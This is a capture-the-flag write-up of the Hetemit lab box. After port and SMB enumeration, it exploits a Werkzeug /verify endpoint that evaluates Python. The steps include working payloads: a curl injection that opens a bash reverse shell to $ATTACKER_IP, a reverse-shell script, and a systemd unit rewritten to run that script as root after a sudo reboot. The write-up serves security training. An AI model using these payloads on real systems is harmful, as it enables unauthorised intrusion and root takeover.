Skip to content

Hetemit Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Hetemit exposes a Werkzeug API on a high port whose /verify endpoint evaluates attacker-supplied Python code directly, giving a shell as cmeeks. From there, write access to a systemd service unit combined with a passwordless reboot rule lets that shell respawn as root on restart.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 8.0
80/tcp    open  http    Apache 2.4.37 ((CentOS) default page)
139/tcp   open  netbios-ssn Samba 4.6.2
445/tcp   open  netbios-ssn Samba 4.6.2
18000/tcp open  http    Rails app "Protomba"
50000/tcp open  http    Werkzeug 1.0.1 (Python 3.6.8)
Explain command
-p- Scan all 65535 TCP ports.
-sC -sV Run default scripts and probe service versions.

FTP allows anonymous login but holds nothing useful, and port 80 is a default CentOS page. The two interesting services are a Rails app on 18000 that needs an invite code, and a Werkzeug API on 50000.

SMB

Anonymous SMB access reveals a share name that leaks a username.

┌──(kali㉿kali)-[~]
└─$ smbclient -L //$TARGET_IP -N
Sharename       Type      Comment
---------       ----      -------
Cmeeks          Disk

The share name Cmeeks leaks the username cmeeks, though the share itself holds nothing useful.

Enumeration

Werkzeug API on port 50000

The API exposes two endpoints: /generate, which creates invite codes for the Rails app on 18000, and /verify.

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP:50000/verify --data "code=2*2"
4

/verify evaluates the code parameter as raw Python. Confirm the os module is reachable.

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP:50000/verify --data "code=os"
<module 'os' from '/usr/lib/python3.6/os.py'>

Exploitation

Python code injection on /verify

Call os.system() through the evaluated code to pop a reverse shell. Start a listener first.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP:50000/verify --data "code=os.system('bash -c\"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\"')"

The listener catches a shell as cmeeks. Stabilize it.

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty;pty.spawn("/bin/bash")'
cmeeks@hetemit:~$

Privilege Escalation

Writable systemd service

Check sudo rights and run linpeas for quick wins.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User cmeeks may run the following commands on hetemit:
    (ALL) NOPASSWD: /sbin/reboot

cmeeks can reboot the box as root with no password. linpeas flags a writable systemd unit.

┌──(kali㉿kali)-[~]
└─$ cat /etc/systemd/system/pythonapp.service
[Service]
User=cmeeks
ExecStart=/usr/bin/python3 /opt/pythonapp/app.py
Restart=always
RestartSec=3

The unit is writable by cmeeks and runs on boot. Point ExecStart at a reverse shell script and run it as root.

#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1

Write that to /tmp/shell.sh, make it executable, and edit the unit so it runs as root and keeps restarting.

[Service]
User=root
ExecStart=/tmp/shell.sh
Restart=always
RestartSec=3

Start a listener, then trigger the sudo reboot.

┌──(kali㉿kali)-[~]
└─$ sudo /sbin/reboot

The service respawns on boot as root and fires the reverse shell straight into the listener.